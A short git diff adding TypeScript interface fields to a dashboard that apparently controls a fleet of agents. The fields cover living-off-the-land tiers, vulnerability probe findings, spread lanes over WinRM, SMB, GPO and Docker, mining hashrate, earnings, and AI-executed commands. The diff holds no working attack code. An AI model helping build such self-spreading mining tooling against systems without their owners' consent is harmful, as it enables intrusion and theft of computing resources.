Data sources: Crucible →{' '} Access Depth panel diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 88b8ab4..9d727b4 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -98,12 +98,29 @@ export interface Agent { lotl_tier?: string; /** Per-tier attempt history from agent TierReport. */ lotl_attempts?: import('./lotl').TierAttempt[]; + /** Fleet failure atlas hard subtree skips. */ + atlas_skips?: { tier: string; condition: string; reason: string }[]; /** Read-only vuln probe findings (LOTL recon tier). */ vuln_findings?: import('./recon').VulnFinding[]; vuln_risk_score?: number; /** Last successful discover_and_join deploy lane (winrm, smb, gpo, docker, …). */ join_lane?: string; + + /** Session security clearance L0–L4 (live from server). */ + clearance_level?: number; + + /** Cloned fleet phenotype from a sibling with the same host fingerprint. */ + inherited_phenotype?: InheritedPhenotype; +} + +export interface InheritedPhenotype { + source_agent_name: string; + fingerprint?: string; + spread_lane?: string; + tier_order?: string[]; + active_tier?: string; + peak_hashrate?: number; } export type { LOTLTier, TierAttempt, TierReport } from './lotl'; @@ -444,6 +461,10 @@ export interface AIDecisionRecord { response?: string; commands_executed?: string; ts?: string; + court_session?: boolean; + prosecutor_snippet?: string; + defender_snippet?: string; + judge_verdict?: string; } export interface EarningsEstimate {